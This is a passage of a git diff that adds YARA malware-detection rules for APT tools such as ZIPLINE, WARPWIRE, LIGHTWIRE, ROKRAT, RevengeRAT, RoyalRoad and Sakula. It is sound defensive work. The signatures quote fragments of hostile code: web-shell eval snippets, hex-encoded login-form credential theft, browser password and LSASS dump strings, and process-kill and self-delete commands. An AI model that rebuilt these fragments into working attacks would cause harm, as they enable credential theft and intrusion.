+      score = 75
+      id = "49ba2a96-379d-5a58-979d-45e83fa546e7"
+   strings:
+      $x1 = "system(\"chmod a+x /home/etc/sql/dsserver/sessionserver.sh\");"
+      $x2 = "SSH-2.0-OpenSSH_0.3xx."
+      $x3 = "sed -i '/retval=$(exec $installer $@)/d' /pkg/do-install"
+   condition:
+      filesize < 5MB and 1 of them
+}
+
+rule M_Hunting_Backdoor_ZIPLINE_1 {
+  meta:
+    author = "Mandiant"
+    description = "This rule detects unique strings in ZIPLINE, a passive ELF backdoor that waits for incoming TCP connections to receive commands from the threat actor."
+    reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
+    date = "2024-01-11"
+    score = 75
+    id = "753884d6-d4c1-5e94-9d2c-f6ebb7bfaf85"
+  strings:
+    $s1 = "SSH-2.0-OpenSSH_0.3xx" ascii
+    $s2 = "$(exec $installer $@)" ascii
+    $t1 = "./installer/do-install" ascii
+    $t2 = "./installer/bom_files/" ascii
+    $t3 = "/tmp/data/root/etc/ld.so.preload" ascii
+    $t4 = "/tmp/data/root/home/etc/manifest/exclusion_list" ascii
+  condition:
+    uint32(0) == 0x464c457f and
+    filesize < 5MB and
+    ((1 of ($s*)) or
+    (3 of ($t*)))
+}
+
+rule M_Hunting_Dropper_WIREFIRE_1 {
+  meta:
+    author = "Mandiant"
+    description = "This rule detects WIREFIRE, a web shell written in Python that exists as trojanized logic to a component of the pulse secure appliance."
+    md5 = "6de651357a15efd01db4e658249d4981"
+    reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
+    date = "2024-01-11"
+    score = 75
+    id = "051244f0-00b1-5a4b-8c81-f4ce6f1aa22a"
+  strings:
+    $s1 = "zlib.decompress(aes.decrypt(base64.b64decode(" ascii
+    $s2 = "aes.encrypt(t+('\\x00'*(16-len(t)%16))" ascii
+    $s3 = "Handles DELETE request to delete an existing visits data." ascii
+    $s4 = "request.data.decode().startswith('GIF'):" ascii
+    $s5 = "Utils.api_log_admin" ascii
+  condition:
+    filesize < 10KB
+    and all of them
+}
+
+rule M_Hunting_Webshell_LIGHTWIRE_2 {
+  meta:
+    author = "Mandiant (modified by Florian Roth)"
+    description = "Detects LIGHTWIRE based on the RC4 decoding and execution 1-liner."
+    md5 = "3d97f55a03ceb4f71671aa2ecf5b24e9"
+    reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
+    date = "2024-01-11"
+    modified = "2024-01-12"
+    score = 75
+    id = "9451da63-c68e-51e8-b4b1-c3082d46fbf6"
+  strings:
+    // rewritten as strings - because a regex is unnecessary
+    // $re1 = /eval\{my.{1,20}Crypt::RC4->new\(\".{1,50}->RC4\(decode_base64\(CGI::param\(\'.{1,30};eval\s\$.{1,30}\"Compatibility\scheck:\s\$@\";\}/
+    $s1 = "eval{my"
+    $s2 = "Crypt::RC4->new(\""
+    $s3 = "->RC4(decode_base64(CGI::param('"
+    $s4 = ";eval $"
+    $s5 = "\"Compatibility check: $@\";}"
+  condition:
+    filesize < 10KB
+    and all of them
+}
+
+rule M_Hunting_Dropper_THINSPOOL_1 {
+  meta:
+    author = "Mandiant"
+    description = "This rule detects THINSPOOL, a dropper that installs the LIGHTWIRE web shell onto a Pulse Secure system."
+    md5 = "677c1aa6e2503b56fe13e1568a814754"
+    reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
+    date = "2024-01-11"
+    score = 75
+    id = "dd340f72-0a2c-5b66-9e31-1c0f20cd842f"
+  strings:
+    $s1 = "/tmp/qactg/" ascii
+    $s2 = "echo '/home/config/dscommands'" ascii
+    $s3 = "echo '/home/perl/DSLogConfig.pm'" ascii
+    $s4 = "ADM20447" ascii
+  condition:
+    filesize < 10KB
+    and all of them
+}
+
+rule M_Hunting_CredTheft_WARPWIRE_1 {
+  meta:
+    author = "Mandiant"
+    description = "This rule detects WARPWIRE, a credential stealer written in JavaScript that is embedded into a legitimate Pulse Secure file."
+    md5 = "d0c7a334a4d9dcd3c6335ae13bee59ea"
+    reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
+    date = "2024-01-11"
+    score = 75
+    id = "9a6a8783-b531-560d-998d-8aa7c90158a8"
+  strings:
+    $s1 = {76 61 72 20 77 64 61 74 61 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 66 72 6d 4c 6f 67 69 6e 2e 75 73 65 72 6e 61 6d 65 2e 76 61 6c 75 65 3b}
+    $s2 = {76 61 72 20 73 64 61 74 61 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 66 72 6d 4c 6f 67 69 6e 2e 70 61 73 73 77 6f 72 64 2e 76 61 6c 75 65 3b}
+    $s3 = {2b 77 64 61 74 61 2b 27 26 27 2b 73 64 61 74 61 3b}
+    $s4 = {76 61 72 20 78 68 72 20 3d 20 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74}
+    $s5 = "Remember the last selected auth realm for 30 days" ascii
+  condition:
+   filesize < 8KB and 
+   all of them
+}
diff --git a/yara-Neo23x0/apt_revenge_rat.yar b/yara-Neo23x0/apt_revenge_rat.yar
new file mode 100644
index 0000000..c8f0ef2
--- /dev/null
+++ b/yara-Neo23x0/apt_revenge_rat.yar
@@ -0,0 +1,34 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-09-04
+   Identifier: RevengeRAT
+   Reference: Internal Research
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule RevengeRAT_Sep17 {
+   meta:
+      description = "Detects RevengeRAT malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-09-04"
+      modified = "2020-07-27"
+      hash1 = "2a86a4b2dcf1657bcb2922e70fc787aa9b66ec1c26dc2119f669bd2ce3f2e94a"
+      hash2 = "7c271484c11795876972aabeb277c7b3035f896c9e860a852d69737df6e14213"
+      hash3 = "fe00c4f9c8439eea50b44f817f760d8107f81e2dba7f383009fde508ff4b8967"
+      id = "7e58af06-a0ce-532c-9483-b1eca5e3cc28"
+   strings:
+      $x1 = "Nuclear Explosion.g.resources" fullword ascii
+      $x4 = "5B1EE7CAD3DFF220A95D1D6B91435D9E1520AC41" fullword ascii
+      $x5 = "\\RevengeRAT\\" ascii
+      $x6 = "Revenge-RAT client has been successfully installed." ascii
+      $x7 = "Nuclear Explosion.exe" fullword ascii
+      $x8 = " Revenge-RAT 201" wide
+
+      $s1 = "{11111-22222-20001-00001}" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 500KB and 1 of ($x*) ) or ( 3 of them )
+}
diff --git a/yara-Neo23x0/apt_rocketkitten_keylogger.yar b/yara-Neo23x0/apt_rocketkitten_keylogger.yar
new file mode 100644
index 0000000..8227e8c
--- /dev/null
+++ b/yara-Neo23x0/apt_rocketkitten_keylogger.yar
@@ -0,0 +1,35 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-09-01
+	Identifier: Rocket Kitten Keylogger
+*/
+
+rule RocketKitten_Keylogger {
+	meta:
+		description = "Detects Keylogger used in Rocket Kitten APT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/SjQhlp"
+		date = "2015-09-01"
+		super_rule = 1
+		hash1 = "1c9e519dca0468a87322bebe2a06741136de7969a4eb3efda0ab8db83f0807b4"
+		hash2 = "495a15f9f30d6f6096a97c2bd8cc5edd4d78569b8d541b1d5a64169f8109bc5b"
+		id = "558341db-a30d-586e-8efc-0fff1d8f94a1"
+	strings:
+		$x1 = "\\Release\\CWoolger.pdb" ascii
+		$x2 = "WoolenLoger\\obj\\x86\\Release" ascii
+		$x3 = "D:\\Yaser Logers\\"
+		
+		$z1 = "woolger" fullword wide
+
+		$s1 = "oShellLink.TargetPath = \"" fullword ascii
+		$s2 = "wscript.exe " fullword ascii
+		$s3 = "strSTUP = WshShell.SpecialFolders(\"Startup\")" fullword ascii
+		$s4 = "[CapsLock]" fullword ascii
+	condition:
+		/* File detection */
+		(uint16(0) == 0x5a4d and filesize < 200KB and (1 of ($x*) or ($z1 and 2 of ($s*)))) or
+		/* Memory detection */
+		($z1 and all of ($s*)) 
+}
diff --git a/yara-Neo23x0/apt_rokrat.yar b/yara-Neo23x0/apt_rokrat.yar
new file mode 100644
index 0000000..4e97f88
--- /dev/null
+++ b/yara-Neo23x0/apt_rokrat.yar
@@ -0,0 +1,127 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-04-03
+   Identifier: ROKRAT
+*/
+
+rule ROKRAT_Malware {
+   meta:
+      description = "Detects ROKRAT Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.talosintelligence.com/2017/04/introducing-rokrat.html"
+      date = "2017-04-03"
+      modified = "2021-09-14"
+      hash1 = "051463a14767c6477b6dacd639f30a8a5b9e126ff31532b58fc29c8364604d00"
+      hash2 = "cd166565ce09ef410c5bba40bad0b49441af6cfb48772e7e4a9de3d646b4851c"
+      id = "52e7e144-b704-5254-9a0f-928fbc96f877"
+   strings:
+      $x1 = "c:\\users\\appdata\\local\\svchost.exe" fullword ascii
+      $x2 = "c:\\temp\\episode3.mp4" fullword ascii
+      $x3 = "MAC-SIL-TED-FOO-YIM-LAN-WAN-SEC-BIL-TAB" ascii
+      $x4 = "c:\\temp\\%d.tmp" ascii fullword
+
+      $s1 = "%s%s%04d%02d%02d%02d%02d%02d.jar" fullword ascii
+      $s2 = "\\Aboard\\Acm%c%c%c.exe" ascii
+
+      $a1 = "ython" ascii fullword
+      $a2 = "iddler" ascii fullword
+      $a3 = "egmon" ascii fullword
+      $a6 = "iresha" ascii fullword
+   condition:
+      uint16(0) == 0x5a4d and filesize < 25000KB and ( 1 of ($x*) or ( 5 of them ) )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-11-28
+   Identifier: ROKRAT
+   Reference: http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule ROKRAT_Dropper_Nov17 {
+   meta:
+      description = "Detects dropper for ROKRAT malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html"
+      date = "2017-11-28"
+      hash1 = "eb6d25e08b2b32a736b57f8df22db6d03dc82f16da554f4e8bb67120eacb1d14"
+      hash2 = "a29b07a6fe5d7ce3147dd7ef1d7d18df16e347f37282c43139d53cce25ae7037"
+      id = "4f3156a2-6b1b-5c65-b8fa-84c0b739d703"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2500KB and
+      pe.imphash() == "c6187b1b5f4433318748457719dd6f39"
+}
+
+rule Freeenki_Infostealer_Nov17 {
+   meta:
+      description = "Detects Freenki infostealer malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html"
+      date = "2017-11-28"
+      modified = "2023-01-06"
+      hash1 = "99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5"
+      id = "01365093-e40a-524a-8a13-217742542f1e"
+   strings:
+      $x1 = "base64Encoded=\"TVqQAAMAAAAEAAAA" ascii
+      $x2 = "command =outFile &\" sysupdate\"" fullword ascii
+      $x3 = "outFile=sysDir&\"\\rundll32.exe\"" fullword ascii
+
+      $s1 = "SOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command" fullword wide
+      $s2 = "c:\\TEMP\\CrashReports\\" ascii
+      $s3 = "objShell.run command, 0, True" fullword ascii
+      $s4 = "sysDir = shell.ExpandEnvironmentStrings(\"%windir%\")" fullword ascii
+      $s5 = "'Wscript.echo \"Base64 encoded: \" + base64Encoded" fullword ascii
+      $s6 = "set shell = WScript.CreateObject(\"WScript.Shell\")" fullword ascii
+
+      $a1 = "\\Google\\Chrome\\User Data\\Default\\Login Data" ascii
+      $a2 = "SELECT username_value, password_value, signon_realm FROM logins" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and (
+        1 of ($x*) or
+        3 of them or
+        all of ($a*)
+      )
+}
+
+rule Freeenki_Infostealer_Nov17_Export_Sig_Testing {
+   meta:
+      description = "Detects Freenki infostealer malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html"
+      date = "2017-11-28"
+      hash1 = "99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5"
+      id = "929f9d41-2e71-5a86-b12f-489355bdf88d"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and
+      pe.exports("getUpdate") and pe.number_of_exports == 1
+}
+
+/* Further Investigations */
+
+rule ROKRAT_Nov17_1 {
+   meta:
+      description = "Detects ROKRAT malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-11-28"
+      id = "6bf3653b-1f96-5060-b6fd-82ccc83fad77"
+   strings:
+      $s1 = "\\T+M\\Result\\DocPrint.pdb" ascii
+      $s2 = "d:\\HighSchool\\version 13\\2ndBD" ascii
+      $s3 = "e:\\Happy\\Work\\Source\\version" ascii
+
+      $x1 = "\\appdata\\local\\svchost.exe" ascii
+      $x2 = "c:\\temp\\esoftscrap.jpg" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 15000KB and 1 of them )
+}
diff --git a/yara-Neo23x0/apt_royalroad.yar b/yara-Neo23x0/apt_royalroad.yar
new file mode 100644
index 0000000..d5b7362
--- /dev/null
+++ b/yara-Neo23x0/apt_royalroad.yar
@@ -0,0 +1,189 @@
+/*
+   MIT License
+
+   Copyright (c) 2020 nao_sec
+
+   Permission is hereby granted, free of charge, to any person obtaining a copy
+   of this software and associated documentation files (the "Software"), to deal
+   in the Software without restriction, including without limitation the rights
+   to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+   copies of the Software, and to permit persons to whom the Software is
+   furnished to do so, subject to the following conditions:
+
+   The above copyright notice and this permission notice shall be included in all
+   copies or substantial portions of the Software.
+
+   THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+   IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+   AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+   OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+   SOFTWARE.
+*/
+
+rule RoyalRoad_code_pattern1
+{
+   meta:
+      description = "Detects RoyalRoad weaponized RTF documents"
+      reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+      date = "2020/01/15"
+      author = "nao_sec"
+      score = 80
+      id = "db2fb24c-df99-5622-ac3d-d31c34481984"
+   strings:
+       $S1= "48905d006c9c5b0000000000030101030a0a01085a5ab844eb7112ba7856341231"
+       $RTF= "{\\rt"
+
+   condition:
+       $RTF at 0 and $S1
+}
+
+rule RoyalRoad_code_pattern2
+{
+   meta:
+      description = "Detects RoyalRoad weaponized RTF documents"
+      reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+      date = "2020/01/15"
+      author = "nao_sec"
+      score = 80
+      id = "135024ae-9ecf-5691-95ca-96002e500fd5"
+    strings:
+        $S1= "653037396132353234666136336135356662636665" ascii
+        $RTF= "{\\rt"
+
+    condition:
+        $RTF at 0 and $S1
+}
+
+rule RoyalRoad_code_pattern3
+{
+   meta:
+      description = "Detects RoyalRoad weaponized RTF documents"
+      reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+      date = "2020/01/15"
+      author = "nao_sec"
+      score = 80
+      id = "7bce2fe6-a921-51ec-8b5f-5d7f55ab3864"
+strings:
+    $S1="4746424151515151505050500000000000584242eb0642424235353336204460606060606060606061616161616161616161616161616161"
+    $RTF= "{\\rt"
+
+condition:
+    $RTF at 0 and $S1
+
+}
+
+rule RoyalRoad_code_pattern4ab
+{
+   meta:
+      description = "Detects RoyalRoad weaponized RTF documents"
+      reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+      date = "2020/01/15"
+      author = "nao_sec"
+      score = 80
+      id = "b4926888-b576-59f7-932a-03b9326845da"
+    strings:
+        $S1= "4746424151515151505050500000000000584242EB064242423535333620446060606060606060606161616161616}1616161616161616161" ascii
+        $RTF= "{\\rt"
+
+    condition:
+        $RTF at 0 and $S1
+}
+
+rule RoyalRoad_code_pattern4ce
+{
+   meta:
+      description = "Detects RoyalRoad weaponized RTF documents"
+      reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+      date = "2020/01/15"
+      author = "nao_sec"
+      score = 80
+      id = "c6e8a072-23cd-5f6a-9b4f-57d3e4500d13"
+    strings:
+        $S1= "584242eb064242423535333620446060606060606060606161616161616161616161616}1616161" ascii
+        $RTF= "{\\rt"
+
+    condition:
+        $RTF at 0 and $S1
+}
+
+
+
+rule RoyalRoad_code_pattern4d
+{
+   meta:
+      description = "Detects RoyalRoad weaponized RTF documents"
+      reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+      date = "2020/01/15"
+      author = "nao_sec"
+      score = 80
+      id = "1677dfb4-7611-5bef-87d1-4cec6285791f"
+    strings:
+        $S1= "584242eb06424242353533362044606060606060606060616161616161616161616}16161616161" ascii
+        $RTF= "{\\rt"
+
+    condition:
+        $RTF at 0 and $S1
+}
+
+
+/* Hunting */
+
+rule RoyalRoad_RTF
+{
+   meta:
+      description = "Detects RoyalRoad weaponized RTF documents"
+      reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+      date = "2020/01/15"
+      author = "nao_sec"
+      score = 80
+      id = "366ec9c3-e6ad-5198-88d5-15aa84a8358f"
+    strings:
+        $S1= "objw2180\\objh300" ascii
+        $RTF= "{\\rt"
+
+    condition:
+        $RTF at 0 and $S1
+}
+
+rule RoyalRoad_RTF_v7
+{
+   meta:
+      description = "Detects RoyalRoad weaponized RTF documents"
+      reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+      date = "2020/01/15"
+      author = "nao_sec"
+      score = 60
+      id = "9d2af980-a851-533a-b25d-ee52277e319c"
+    strings:
+        $v7_1= "{\\object\\objocx{\\objdata" ascii
+        $v7_2= "ods0000"  ascii
+        $RTF= "{\\rt"
+
+    condition:
+        $RTF at 0 and all of ($v7*)
+}
+
+rule RoyalRoad_encode_in_RTF
+{
+   meta:
+      description = "Detects RoyalRoad weaponized RTF documents"
+      reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+      date = "2020/01/15"
+      author = "nao_sec"
+      score = 60
+      id = "66614152-8f9b-5e62-b6bd-ba0286e66d4d"
+    strings:
+        $enc_hex_1 = "B0747746"
+        $enc_hex_2 = "B2A66DFF"
+        $enc_hex_3 = "F2A32072"
+        $enc_hex_4 = "B2A46EFF"
+        $enc_hex_1l = "b0747746"
+        $enc_hex_2l = "b2a66Dff"
+        $enc_hex_3l = "f2a32072"
+        $enc_hex_4l = "b2a46eff"
+        $RTF= "{\\rt"
+    condition:
+        $RTF at 0 and 1 of ($enc_hex*)
+}
diff --git a/yara-Neo23x0/apt_ru_crywiper.yar b/yara-Neo23x0/apt_ru_crywiper.yar
new file mode 100644
index 0000000..4f8e9fe
--- /dev/null
+++ b/yara-Neo23x0/apt_ru_crywiper.yar
@@ -0,0 +1,19 @@
+
+rule APT_CryWiper_Dec22 {
+   meta:
+      description = "Detects CryWiper malware samples"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist-ru.translate.goog/novyj-troyanec-crywiper/106114/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en"
+      date = "2022-12-05"
+      score = 75
+      id = "d56ccf4e-30ba-5308-ad68-ffc2ae5a1718"
+   strings:
+      $x1 = "Software\\Sysinternals\\BrowserUpdate"
+
+      $sx1 = "taskkill.exe /f /im MSExchange*"
+
+      $s1 = "SYSTEM\\CurrentControlSet\\Control\\Terminal Server" ascii
+      $s2 = "fDenyTSConnections" ascii
+   condition:
+      1 of ($x*) or all of ($s*)
+}
diff --git a/yara-Neo23x0/apt_ruag.yar b/yara-Neo23x0/apt_ruag.yar
new file mode 100644
index 0000000..1e2cdb0
--- /dev/null
+++ b/yara-Neo23x0/apt_ruag.yar
@@ -0,0 +1,90 @@
+/*
+  Yara Rule Set
+  Author: Florian Roth
+  Date: 2016-05-23
+  Identifier: Swiss RUAG APT Case
+  Reference: https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case
+*/
+
+rule RUAG_Tavdig_Malformed_Executable {
+  meta:
+    description = "Detects an embedded executable with a malformed header - known from Tavdig malware"
+    author = "Florian Roth (Nextron Systems)"
+    reference = "https://goo.gl/N5MEj0"
+    score = 60
+    id = "da6357d4-0cdb-5f30-9919-59858963cc41"
+  condition:
+    uint16(0) == 0x5a4d and /* MZ Header */
+    uint32(uint32(0x3C)) == 0x0000AD0B /* malformed PE header > 0x0bad */
+}
+
+rule RUAG_Bot_Config_File {
+  meta:
+    description = "Detects a specific config file used by malware in RUAG APT case"
+    author = "Florian Roth (Nextron Systems)"
+    reference = "https://goo.gl/N5MEj0"
+    score = 60
+    id = "aa3d5f9e-0b23-5180-9e52-a7d705712747"
+  strings:
+    $s1 = "[CONFIG]" ascii
+    $s2 = "name = " ascii
+    $s3 = "exe = cmd.exe" ascii
+  condition:
+    uint32(0) == 0x4e4f435b and $s1 at 0 and $s2 and $s3 and filesize < 160
+}
+
+rule RUAG_Cobra_Malware {
+  meta:
+    description = "Detects a malware mentioned in the RUAG Case called Carbon/Cobra"
+    author = "Florian Roth (Nextron Systems)"
+    reference = "https://goo.gl/N5MEj0"
+    score = 60
+    id = "dd2d591f-6f56-5c31-9f3c-3aa7d174c9a0"
+  strings:
+    $s1 = "\\Cobra\\Release\\Cobra.pdb" ascii
+  condition:
+    uint16(0) == 0x5a4d and $s1
+}
+
+rule RUAG_Cobra_Config_File {
+  meta:
+    description = "Detects a config text file used by malware Cobra in RUAG case"
+    author = "Florian Roth (Nextron Systems)"
+    reference = "https://goo.gl/N5MEj0"
+    score = 60
+    id = "b3899d95-acc9-55ca-9025-edecce755ca6"
+  strings:
+    $h1 = "[NAME]" ascii
+
+    $s1 = "object_id=" ascii
+    $s2 = "[TIME]" ascii fullword
+    $s3 = "lastconnect" ascii
+    $s4 = "[CW_LOCAL]" ascii fullword
+    $s5 = "system_pipe" ascii
+    $s6 = "user_pipe" ascii
+    $s7 = "[TRANSPORT]" ascii
+    $s8 = "run_task_system" ascii
+    $s9 = "[WORKDATA]" ascii
+    $s10 = "address1" ascii
+  condition:
+    uint32(0) == 0x4d414e5b and $h1 at 0 and 8 of ($s*) and filesize < 5KB
+}
+
+rule RUAG_Exfil_Config_File {
+  meta:
+    description = "Detects a config text file used in data exfiltration in RUAG case"
+    author = "Florian Roth (Nextron Systems)"
+    reference = "https://goo.gl/N5MEj0"
+    score = 60
+    id = "7057bc7b-7f8c-5db8-b7f3-f6c33487b122"
+  strings:
+    $h1 = "[TRANSPORT]" ascii
+
+    $s1 = "system_pipe" ascii
+    $s2 = "spstatus" ascii
+    $s3 = "adaptable" ascii
+    $s4 = "post_frag" ascii
+    $s5 = "pfsgrowperiod" ascii
+  condition:
+    uint32(0) == 0x4152545b and $h1 at 0 and all of ($s*) and filesize < 1KB
+}
diff --git a/yara-Neo23x0/apt_rwmc_powershell_creddump.yar b/yara-Neo23x0/apt_rwmc_powershell_creddump.yar
new file mode 100644
index 0000000..a728ec6
--- /dev/null
+++ b/yara-Neo23x0/apt_rwmc_powershell_creddump.yar
@@ -0,0 +1,43 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-08-31
+	Identifier: RWMC Powershell Credential Dumper
+*/
+
+rule Reveal_MemoryCredentials {
+	meta:
+		description = "Auto-generated rule - file Reveal-MemoryCredentials.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/giMini/RWMC/"
+		date = "2015-08-31"
+		hash = "893c26818c424d0ff549c1fbfa11429f36eecd16ee69330c442c59a82ce6adea"
+		id = "ca06c702-45fe-5ab5-b53e-c3f7b7006570"
+	strings:
+		$s1 = "$dumpAProcessPath = \"C:\\Windows\\temp\\msdsc.exe\"" fullword ascii
+		$s2 = "$user = Get-ADUser -Filter {UserPrincipalName -like $loginPlainText -or sAMAccountName -like $loginPlainText}" fullword ascii
+		$s3 = "Copy-Item -Path \"\\\\$computername\\\\c$\\windows\\temp\\lsass.dmp\" -Destination \"$logDirectoryPath\"" fullword ascii
+		$s4 = "if($backupOperatorsFlag -eq \"true\") {$loginPlainText = $loginPlainText + \" = Backup Operators\"}            " fullword ascii
+	condition:
+		filesize < 200KB and 1 of them
+}
+
+rule MiniDumpTest_msdsc {
+	meta:
+		description = "Auto-generated rule - file msdsc.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/giMini/RWMC/"
+		date = "2015-08-31"
+		hash = "477034933918c433f521ba63d2df6a27cc40a5833a78497c11fb0994d2fd46ba"
+		id = "044ae157-aba2-5935-9afc-8a12853c84bc"
+	strings:
+		$s1 = "MiniDumpTest1.exe" fullword wide
+		$s2 = "MiniDumpWithTokenInformation" fullword ascii
+		$s3 = "MiniDumpTest1" fullword wide
+		$s6 = "Microsoft 2008" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and all of them
+}
+
diff --git a/yara-Neo23x0/apt_sakula.yar b/yara-Neo23x0/apt_sakula.yar
new file mode 100644
index 0000000..7ababf0
--- /dev/null
+++ b/yara-Neo23x0/apt_sakula.yar
@@ -0,0 +1,80 @@
+rule malware_sakula_xorloop {
+  meta:
+    description = "XOR loops from Sakula malware"
+    author = "David Cannings"
+    md5 = "fc6497fe708dbda9355139721b6181e7"
+    date = "2016-06-13"
+    modified = "2023-01-27"
+    id = "9349b7e4-560c-5d8b-94d9-cbb9fd09e132"
+  strings:
+    // XOR decode loop (non-null, non-key byte only)
+    $opcodes_decode_loop01 = { 31 C0 8A 04 0B 3C 00 74 09 38 D0 74 05 30 D0 88 04 0B }
+
+    // XOR decode
+    $opcodes_decode_loop02 = { 8B 45 08 8D 0C 02 8A 01 84 C0 74 08 3C ?? 74 04 34 ?? 88 01 }
+
+  condition:
+    uint16(0) == 0x5A4D and any of ($opcodes*)
+}
+
+rule malware_sakula_memory {
+  meta:
+    description = "Sakula malware - strings after unpacking (memory rule)"
+    author = "David Cannings"
+    md5 = "b3852b9e7f2b8954be447121bb6b65c3"
+
+    id = "328e3707-d11d-5b7f-bec4-18a42a2c658b"
+  strings:
+    $str01 = "cmd.exe /c ping 127.0.0.1 & del \"%s\""
+    $str02 = "cmd.exe /c rundll32 \"%s\" Play \"%s\""
+    $str03 = "Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.1;+SV1)"
+    $str04 = "cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c \"%s\""
+    $str05 = "Self Process Id:%d"
+    $str06 = "%d_%d_%d_%s"
+    $str07 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
+    $str08 = "cmd.exe /c rundll32 \"%s\" ActiveQvaw \"%s\""
+
+    // Encode loop, operations: rol 1; xor ??;
+    $opcodes01 = { 83 F9 00 74 0E 31 C0 8A 03 D0 C0 34 ?? 88 03 49 43 EB ED }
+
+    // Encode loop, single byte XOR
+    $opcodes02 = { 31 C0 8A 04 13 32 01 83 F8 00 75 0E 83 FA 00 74 04 49 4A }
+
+  condition:
+    4 of them
+}
+
+rule malware_sakula_shellcode {
+  meta:
+    description = "Sakula shellcode - taken from decoded setup.msi but may not be unique enough to identify Sakula"
+    author = "David Cannings"
+
+    id = "147e4894-7877-5367-9f6b-588eb7f0379a"
+  strings:
+    /*
+      55                      push    ebp
+      89 E5                   mov     ebp, esp
+      E8 00 00 00 00          call    $+5
+      58                      pop     eax
+      83 C0 06                add     eax, 6
+      C9                      leave
+      C3                      retn
+    */
+    // Get EIP technique (may not be unique enough to identify Sakula)
+    // Note this only appears in memory or decoded files
